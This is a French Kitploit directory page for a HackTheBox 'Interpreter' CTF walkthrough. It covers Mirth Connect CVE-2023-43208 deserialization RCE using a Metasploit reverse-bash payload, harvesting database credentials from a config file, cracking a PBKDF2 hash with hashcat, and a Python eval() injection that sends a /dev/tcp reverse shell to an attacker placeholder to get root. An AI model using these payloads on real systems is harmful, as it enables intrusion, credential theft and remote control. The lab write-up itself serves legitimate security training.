Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Interpreter-HackTheBox — Walkthrough HackTheBox Interpreter : RCE par désérialisation Mirth Connect CVE-2023-43208, cassage de hash PBKDF2 et escalade de privilèges par injection eval() jusqu'à root. | Kitploit
Outils/GitHubGitHub/ledksv/interpreter-hackthebox
Cassage de Mots de PasseEscalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationCTFTests d'Intrusion

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Apprentissage et Éducation
GitHubledksv/interpreter-hackthebox

Interpreter-HackTheBox

Walkthrough HackTheBox Interpreter : RCE par désérialisation Mirth Connect CVE-2023-43208, cassage de hash PBKDF2 et escalade de privilèges par injection eval() jusqu'à root.

Voir le dépôt
il y a 3 moisPas encore vérifié

Interpreter — HackTheBox

Plateforme : HackTheBox OS : Linux Statut : Retiré — walkthrough complet publié.

Walkthrough complet : l3dsec.com/walkthroughs/interpreter-htb


Chaîne d'attaque

root@kitploit:~
Nmap → Mirth Connect 4.4.0 (80/443)
  → CVE-2023-43208 désérialisation Java non authentifiée RCE
    → Shell en tant que mirth
      → mirth.properties → identifiants MySQL
        → MySQL → hash PBKDF2 de sedric → hashcat → SSH → USER FLAG
          → notif.py exécuté en root sur 127.0.0.1:54321
            → injection eval() via POST XML → ROOT SHELL → ROOT FLAG

1. Énumération

root@kitploit:~
nmap -sV -sC <TARGET_IP> -Pn
root@kitploit:~
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 (Debian)
80/tcp  open  http    Jetty (Mirth Connect)
443/tcp open  ssl     Jetty SSL (Mirth Connect)

Empreinte de version via l'API REST de Mirth :

root@kitploit:~
curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0

2. Point d'entrée initial — CVE-2023-43208

Mirth Connect 4.4.0 est vulnérable à une RCE non authentifiée via désérialisation Java :

root@kitploit:~
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit

Shell en tant que mirth.


3. Collecte d'identifiants

root@kitploit:~
find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

mysql -u mirthdb -p'<db_password>' mc_bdd_prod

L'énumération MySQL révèle l'utilisateur sedric avec un hash PBKDF2, et un canal HL7 qui transmet du XML vers http://127.0.0.1:54321/addPatient.


4. User Flag — Cassage de hash

root@kitploit:~
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Hash cassé. Connexion SSH en tant que sedric, lecture de /home/sedric/user.txt.


5. Élévation de privilèges — Injection eval()

notif.py s'exécute en root et écoute sur 127.0.0.1:54321/addPatient — le même endpoint vers lequel Mirth transmet le XML. Il passe le champ XML firstname directement à la fonction eval() de Python.

Payload depuis le shell mirth :

root@kitploit:~
import urllib.request, base64
from urllib.request import Request

cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"

req = Request(
    "http://127.0.0.1:54321/addPatient",
    data=xml.encode(),
    headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)

Shell root reçu sur le listener.


Flags

FlagValeur
Userredacted
Rootredacted

À des fins éducatives uniquement. Ne testez que les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.

Télécharger l’outil